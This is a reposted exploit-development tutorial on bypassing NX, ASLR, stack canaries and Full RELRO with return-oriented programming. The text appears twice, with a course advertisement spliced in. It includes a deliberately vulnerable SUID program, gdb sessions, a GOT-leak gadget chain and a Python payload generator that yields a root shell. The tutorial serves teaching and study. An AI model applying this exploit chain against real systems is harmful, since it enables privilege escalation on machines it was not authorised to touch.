An Introduction to Returned-Oriented Programming (Linux)
Selasa, 23 April 2013
0
komentar
http://resources.infosecinstitute.com/an-introduction-to-returned-oriented-programming-linux
INTRODUCTION:
In 1988, the first buffer overflow was exploited to compromise many systems. After 20 years, applications are still vulnerable, despite the efforts made in hope to reduce their vulnerability.
In the past, the most complex priority was discovering bugs, and nobody cared about writing exploits because it was so easy. Nowadays, exploiting buffer overflows is also difficult because of advanced defensive technologies.
Some strategies are adopted in combination to make exploit development more difficult than ever like ASLR, Non-executable memory sections, etc.
In this tutorial, we will describe how to defeat or bypass ASLR, NX, ASCII ARMOR, SSP and RELRO protection in the same time and in a single attempt using a technique called Returned Oriented Programming.
Let’s begin with some basic/old definitions:
→ NX: non-executable memory section (stack, heap), which prevent the execution of an arbitrary code. This protection was easy to defeat it if we make a correct ret2libc and also borrowed chunk techniques.
→ ASLR: Address Space Layout Randomization that randomizes a section of memory (stack, heap and shared objects). This technique is bypassed by brute forcing the return address.
→ ASCII ARMOR: maps libc addresses starting with a NULL byte. This technique is used to prevent ret2lib attacks, hardening the binary.
→ RELRO: another exploit mitigation technique to harden ELF binaries. It has two modes:
Compile command: gcc -Wl,-z,relro -o bin file.c
→ SSP: Stack Smashing Protection:
Our Exploit will bypass all those mitigations, and make a reliable exploit.
So let’s go
OVERVIEW OF THE CODE:
Here is the vulnerable code. The binary and code are included in the last of tutorial.
First thing let’s explain what the code does.
It opens a filename, reads from it line by line and holds in1 as an offset of table and in2 as a value of this offset then it calls fill function to fill the array.
tab[in1]=in2 ;
So a buffer overflow occurred when in1 is the offset of return address, this we can write whatever there.
Let’s compile the vulnerable code:
And we check the resulting binary using checksec.sh
So the binary is hardened, but motivated attackers still succeed in their intent.
As we can see we can overwrite EIP directly, and if we assume that we can do that, the SSP does some checks to see if the return address has changed, if yes then our exploit will fail.
OWNING EIP:
Let’s open the binary with gdb and disassemble the main function:
Let’s create a simple file named ‘simo.txt’ and put the following:
We make some breakpoints:
In the first bpoints we see the return address
0xbffff7dc: is main return address
0xbfffd79c : the address of arr
If you’re familiar with stack frame, you’ll notice that we made a call: fill(1,10,arr)
then it does the following : arr[1]=10 ;
A clever hacker will notice that the offset between the address of arr and return address is 8240
(0xbffff7cc-0xbfffd79c = 8240) and because we are playing with integer values, then we must divide the result by 4 ( sizeof(int)) .so, 8240/4=2060.
So if we put an offset equal to 2060 we can write to EIP, let’s check:
Put the following in simo.txt:
The result is:
So we are successfully own EIP and bypassed Stack Smashing Protection.
Let’s build our exploit now.
BUILDING THE EXPLOIT:
Our aim now is to build a chained ROP to execute execve(). As we can see, we don’t have a GOT entry for this function and libc is randomized.
So what we will do first is to leak a libc function address for GOT then we will do some trivial calculation to get the exact execve libc address.
And remember that we cannot overwrite GOT because of « Full Relro » .
Let’s leak the address of printf (you can choose any GOT entry)
The offset between printf and execve is 328160.
So if we add the address of printf libc to 328160 we get the execve libc address dynamically by leaking the printf address that is loaded in GOT.
So we must find some ROPs
The next step is finding some useful gadgets to build a chain of instructions. We’ll use ROPEME to do that.
We generate a .ggt file which contains some instructions finished by a ret.
Our purpose is to do some instruction, then return into our controlled code.
We need those useful gadgets to build our exploit.
So let’s build our ROP using those gadgets.
Our attack then: load 328160 into EAX, 0x138e9ff4 into EBX. You’ll ask me what is 0x138e9ff4?
Well we have a gadget like this:
ebx-0xb8a0008= printf@got then , ebx = printf@got+ 0xb8a0008 = 0x138e9ff4
So EAX = 328160 and EBX = 0x138e9ff4.
When «add eax [ebx-0xb8a0008]» executed EAX will contain the address of execve dynamically
After that, we make call%eax to execute our command and don’t forget to put the correct parameters on the stack.
There is a small problem which must be resolved. When the leave instruction is executed, it loads the saved return address of the main lead losing our controlled data. The solution is easy; like what we did earlier. Some trivial calculations, and we get the correct saved return address.
We continue.
When «leave » is executed, ESP points to another area that we are not able to control.
Let’s predict where ESP points exactly: as we did earlier, we subtract arr address from ESP and dividing by 4: (0xbffff84c-0xbfffd79c)/4 = 2092
So our payload will look like this:
Let’s see what happens:
It works!
So EAX contains the address of execve and we still control EIP. The next step is to find some a printable string and two null values to make parameters for execve.
We search inside the binary using objdump:
0x0x8048154 points to a printable ASCII: « GNU » and 8048158 points to NULL bytes.
Our exploit is then: execve(0x 8048158, 0×8048154, 0×8048154). But we don’t have GNU as a command, well we will create a wrapper named GNU.c :
Then add path where GNU is located to $PATH variable environment :
export PATH=/yourpath/:$PATH
Our final exploit :
let’s run our attack :
It works, so we successfully got the shell with SUID privileges, and we bypassed all exploit mitigations in one attempt .
If you opened the binary with gdb you’ll notice that the addresses changed during the execution of process, and our exploit is still reliable and resolves execve reliably.
Conclusion:
We presented a new attack against programs vulnerable to stack overflows to bypass two of the most widely used protections (NX & ASLR) including some others (Full RELRO,ASCII ARMOR, SSP) .
With our exploit, we extracted the address space from vulnerable process information about random addresses of some libc functions to mount a classical ret2libc attack.
References :
PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP
EXPLOITS
http://force.vnsecurity.net/download/longld/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf
Surgically returning to randomized lib(c)
http://security.dico.unimi.it/~gianz/pubs/acsac09.pdf
INTRODUCTION:
In 1988, the first buffer overflow was exploited to compromise many systems. After 20 years, applications are still vulnerable, despite the efforts made in hope to reduce their vulnerability.
In the past, the most complex priority was discovering bugs, and nobody cared about writing exploits because it was so easy. Nowadays, exploiting buffer overflows is also difficult because of advanced defensive technologies.
Some strategies are adopted in combination to make exploit development more difficult than ever like ASLR, Non-executable memory sections, etc.
In this tutorial, we will describe how to defeat or bypass ASLR, NX, ASCII ARMOR, SSP and RELRO protection in the same time and in a single attempt using a technique called Returned Oriented Programming.
Let’s begin with some basic/old definitions:
→ NX: non-executable memory section (stack, heap), which prevent the execution of an arbitrary code. This protection was easy to defeat it if we make a correct ret2libc and also borrowed chunk techniques.
→ ASLR: Address Space Layout Randomization that randomizes a section of memory (stack, heap and shared objects). This technique is bypassed by brute forcing the return address.
→ ASCII ARMOR: maps libc addresses starting with a NULL byte. This technique is used to prevent ret2lib attacks, hardening the binary.
→ RELRO: another exploit mitigation technique to harden ELF binaries. It has two modes:
- Partial Relro: reordering ELF sections (.got, .dtors and .ctors will precede .data/.bss section) and make GOT much safer. But PLT GOT still writable, and the attacker still overwrites it.
Compile command: gcc -Wl,-z,relro -o bin file.c
- Full Relro: GOT is remapped as READ-ONLY, and it supports all Partial RELRO features.
→ SSP: Stack Smashing Protection:
Our Exploit will bypass all those mitigations, and make a reliable exploit.
So let’s go
OVERVIEW OF THE CODE:
Here is the vulnerable code. The binary and code are included in the last of tutorial.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | #include#include#include#include <sys/types.h>#include <sys/stat.h>#include#includevoid fill(int,int,int*);int main(int argc,char** argv){FILE* fd;int in1,in2;int arr[2048];char var[20];if (argc !=2){printf("usage : %s n",*argv);exit(-1);}fd = fopen(argv[1],"r");if(fd == NULL){fprintf(stderr,"%sn",strerror(errno));exit(-2);}memset(var,0,sizeof(var));memset(arr,0,2048*sizeof(int));while(fgets(var,20,fd)){in1 = atoll(var);fgets(var,20,fd);in2 = atoll(var);/* fill array */fill(in1,in2,arr);}}void fill(int of,int val,int *tab){tab[of]=val;} |
It opens a filename, reads from it line by line and holds in1 as an offset of table and in2 as a value of this offset then it calls fill function to fill the array.
tab[in1]=in2 ;
So a buffer overflow occurred when in1 is the offset of return address, this we can write whatever there.
Let’s compile the vulnerable code:
1 2 3 | gcc -o vuln2 vuln2.c -fstack-protector -Wl,-z,relro,-z,nowchown root:root vuln2chmod +s vuln2 |
1 2 3 4 | user@protostar:~/course$ checksec.sh --file vuln2RELRO STACK CANARY NX PIE RPATH RUNPATH FILEFull RELRO Canary found NX enabled No PIE No RPATH No RUNPATH vuln2user@protostar:~/course$ |
As we can see we can overwrite EIP directly, and if we assume that we can do that, the SSP does some checks to see if the return address has changed, if yes then our exploit will fail.
OWNING EIP:
Let’s open the binary with gdb and disassemble the main function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | gdb$ disas mainDump of assembler code for function main:0x08048624 ...0x08048754 0x0804875b 0x0804875f 0x08048763 0x0804876a 0x0804876e 0x08048775 0x08048778 0x0804877d 0x08048784 ... |
Let’s create a simple file named ‘simo.txt’ and put the following:
1 2 | 110 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | gdb$ b *mainBreakpoint 1 at 0x8048624gdb$ b *0x08048778Breakpoint 2 at 0x8048778gdb$ run fileBreakpoint 1, 0x08048624 in main ()gdb$ x/x $esp0xbffff7cc: 0xb7eabc76gdb$ continueBreakpoint 2, 0x08048778 in main ()gdb$ x/4x $esp0xbfffd770: 0x00000001 0x0000000a 0xbfffd79c 0x00000000gdb$ x/i 0x080487780x8048778 <main+340>: call 0x80487begdb$ |
0xbffff7dc: is main return address
0xbfffd79c : the address of arr
If you’re familiar with stack frame, you’ll notice that we made a call: fill(1,10,arr)
then it does the following : arr[1]=10 ;
A clever hacker will notice that the offset between the address of arr and return address is 8240
(0xbffff7cc-0xbfffd79c = 8240) and because we are playing with integer values, then we must divide the result by 4 ( sizeof(int)) .so, 8240/4=2060.
So if we put an offset equal to 2060 we can write to EIP, let’s check:
Put the following in simo.txt:
1 2 | 20601094861636 |
1 2 3 4 5 6 7 8 | Program received signal SIGSEGV, Segmentation fault.--------------------------------------------------------------------------[regs]EAX: 00000000 EBX: B7FD5FF4 ECX: B7FDF000 EDX: 00000000 o d I t s Z a P cESI: 00000000 EDI: 00000000 EBP: BFFFF848 ESP: BFFFF7D0 EIP: 41424344CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:Cannot access memory at address 0x414243440x41424344 in ?? ()gdb$ |
Let’s build our exploit now.
BUILDING THE EXPLOIT:
Our aim now is to build a chained ROP to execute execve(). As we can see, we don’t have a GOT entry for this function and libc is randomized.
So what we will do first is to leak a libc function address for GOT then we will do some trivial calculation to get the exact execve libc address.
And remember that we cannot overwrite GOT because of « Full Relro » .
1 2 3 4 5 6 7 8 9 10 11 12 13 | readelf -r vuln208049fcc 00000107 R_386_JUMP_SLOT 00000000 __errno_location08049fd0 00000207 R_386_JUMP_SLOT 00000000 strerror08049fd4 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__08049fd8 00000407 R_386_JUMP_SLOT 00000000 fgets08049fdc 00000507 R_386_JUMP_SLOT 00000000 memset08049fe0 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main08049fe4 00000707 R_386_JUMP_SLOT 00000000 atoll08049fe8 00000807 R_386_JUMP_SLOT 00000000 fopen08049fec 00000907 R_386_JUMP_SLOT 00000000 printf08049ff0 00000a07 R_386_JUMP_SLOT 00000000 fprintf08049ff4 00000b07 R_386_JUMP_SLOT 00000000 __stack_chk_fail08049ff8 00000c07 R_386_JUMP_SLOT 00000000 exit |
Want to learn more?? The InfoSec Institute Reverse Engineering course teaches you everything from reverse engineering malware to discovering vulnerabilities in binaries. These skills are required in order to properly secure an organization from today's ever evolving threats. In this 5 day hands-on course, you will gain the necessary binary analysis skills to discover the true nature of any Windows binary. You will learn how to recognize the high level language constructs (such as branching statements, looping functions and network socket code) critical to performing a thorough and professional reverse engineering analysis of a binary. Some features of this course include:
- CREA Certification
- 5 days of Intensive Hands-On Labs
- Hostile Code & Malware analysis, including: Worms, Viruses, Trojans, Rootkits and Bots
- Binary obfuscation schemes, used by: Hackers, Trojan writers and copy protection algorithms
- Learn the methodologies, tools, and manual reversing techniques used real world situations in our reversing lab.
1 2 3 4 5 6 7 | gdb$ x/x 0x08049fec0x8049fec <_GLOBAL_OFFSET_TABLE_+44>: 0xb7edbf90gdb$ p execve$9 = {} 0xb7f2c170gdb$ p 0xb7f2c170-0xb7edbf90$10 = 328160gdb$ |
So if we add the address of printf libc to 328160 we get the execve libc address dynamically by leaking the printf address that is loaded in GOT.
1 | execve = printf@libc+ 328160 |
The next step is finding some useful gadgets to build a chain of instructions. We’ll use ROPEME to do that.
We generate a .ggt file which contains some instructions finished by a ret.
Our purpose is to do some instruction, then return into our controlled code.
1 | ROPeMe> generate vuln 6 |
1 2 3 | 0x804886eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx0x804861fL: call eax ; leave ;;0x804849cL: pop eax ; pop ebx ; leave ;; |
Our attack then: load 328160 into EAX, 0x138e9ff4 into EBX. You’ll ask me what is 0x138e9ff4?
Well we have a gadget like this:
1 | 0x804886eL: add eax [ebx-0xb8a0008] ; add esp 0x4 ; pop ebx |
So EAX = 328160 and EBX = 0x138e9ff4.
When «add eax [ebx-0xb8a0008]» executed EAX will contain the address of execve dynamically
After that, we make call%eax to execute our command and don’t forget to put the correct parameters on the stack.
There is a small problem which must be resolved. When the leave instruction is executed, it loads the saved return address of the main lead losing our controlled data. The solution is easy; like what we did earlier. Some trivial calculations, and we get the correct saved return address.
1 2 3 4 | 0x8048778 <main+340>: call 0x80487beBreakpoint 1, 0x08048778 in main ()gdb$ x/4x $esp0xbfffd770: 0x0000080c 0x0804849c 0xbfffd79c 0x00000000 |
1 2 3 4 | 0x804849f <_init+47>: ret0x0804849f in _init ()gdb$ x/x $esp0xbffff84c: 0x0804886e |
Let’s predict where ESP points exactly: as we did earlier, we subtract arr address from ESP and dividing by 4: (0xbffff84c-0xbfffd79c)/4 = 2092
So our payload will look like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | #!/usr/bin/pythonr = "n"p = str(2060) +r # offset of return addressp += str(0x804849c) +r # pop eax ; pop ebx ; leave ;;p += str(2061) +rp += str(328160)+r # EAXp += str(2062)+rp += str(0x138e9ff4)+r # EBXp += str(2092) +rp += str(0x804886e)+r # add eax [ebx-0xb8a0008] ; add esp 0x4#; pop ebxp += str(2096) +rp += str(0x41414141) +ro = open("simo.txt","wb")o.write(p)o.close() |
1 2 3 4 5 6 7 8 9 10 | Program received signal SIGSEGV, Segmentation fault.--------------------------------------------------------------------------[regs]EAX: B7F2C170 EBX: 00000002 ECX: B7FDF000 EDX: 00000000 o d I t S z a p cESI: 00000000 EDI: 00000000 EBP: BFFFF874 ESP: BFFFF860 EIP: 41414141CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:Cannot access memory at address 0x414141410x41414141 in ?? ()gdb$ x/x $eax0xb7f2c170 : 0x8908ec83gdb$ |
So EAX contains the address of execve and we still control EIP. The next step is to find some a printable string and two null values to make parameters for execve.
We search inside the binary using objdump:
1 2 3 4 5 6 7 8 | user@protostar:~/course$ objdump -s vuln2 |morevuln2: file format elf32-i386Contents of section .interp:8048134 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so8048144 2e3200 .2.Contents of section .note.ABI-tag:8048148 04000000 10000000 01000000 474e5500 ............GNU.8048158 00000000 02000000 06000000 12000000 ................ |
Our exploit is then: execve(0x 8048158, 0×8048154, 0×8048154). But we don’t have GNU as a command, well we will create a wrapper named GNU.c :
1 2 3 4 5 6 7 | #include/* compile : gcc -o GNU GNU.cint main(){char *args[]={"/bin/sh",NULL};execve(args[0],args,NULL);} |
export PATH=/yourpath/:$PATH
Our final exploit :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #!/usr/bin/pythonr = "n"p = str(2060) +r # offset of return addressp += str(0x804849c) +r # pop eax ; pop ebx ; leave ;;p += str(2061) +rp += str(328160)+r # offset between printf and execvep += str(2062)+rp += str(0x138e9ff4)+r # printf@got + 0xb8a0008p += str(2092) +rp += str(0x804886e)+r # add eax [ebx-0xb8a0008] ; add esp 0x4 #; pop ebxp += str(2096) +rp += str(0x804861f) +r #: call eax ; leave ;;p += str(2097) +rp += str(0x8048154) +r # "GNU"p += str(2098)+rp += str(0x8048158) +r # pointer to NULLp += str(2099)+rp += str(0x8049fb0) +r # pointer to NULLo = open("simo.txt","wb")o.write(p)o.close() |
1 2 3 4 5 | user@protostar:~/course$ python exploit.pyuser@protostar:~/course$ ./vuln2 simo.txt# whoamiroot# |
If you opened the binary with gdb you’ll notice that the addresses changed during the execution of process, and our exploit is still reliable and resolves execve reliably.
Conclusion:
We presented a new attack against programs vulnerable to stack overflows to bypass two of the most widely used protections (NX & ASLR) including some others (Full RELRO,ASCII ARMOR, SSP) .
With our exploit, we extracted the address space from vulnerable process information about random addresses of some libc functions to mount a classical ret2libc attack.
References :
PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP
EXPLOITS
http://force.vnsecurity.net/download/longld/BHUS10_Paper_Payload_already_inside_data_reuse_for_ROP_exploits.pdf
Surgically returning to randomized lib(c)
http://security.dico.unimi.it/~gianz/pubs/acsac09.pdf
TERIMA KASIH ATAS KUNJUNGAN SAUDARA
Judul: An Introduction to Returned-Oriented Programming (Linux)
Ditulis oleh Unknown
Rating Blog 5 dari 5
Semoga artikel ini bermanfaat bagi saudara. Jika ingin mengutip, baik itu sebagian atau keseluruhan dari isi artikel ini harap menyertakan link dofollow ke http://androidjapane.blogspot.com/2013/04/an-introduction-to-returned-oriented.html. Terima kasih sudah singgah membaca artikel ini.Ditulis oleh Unknown
Rating Blog 5 dari 5
0 komentar:
Posting Komentar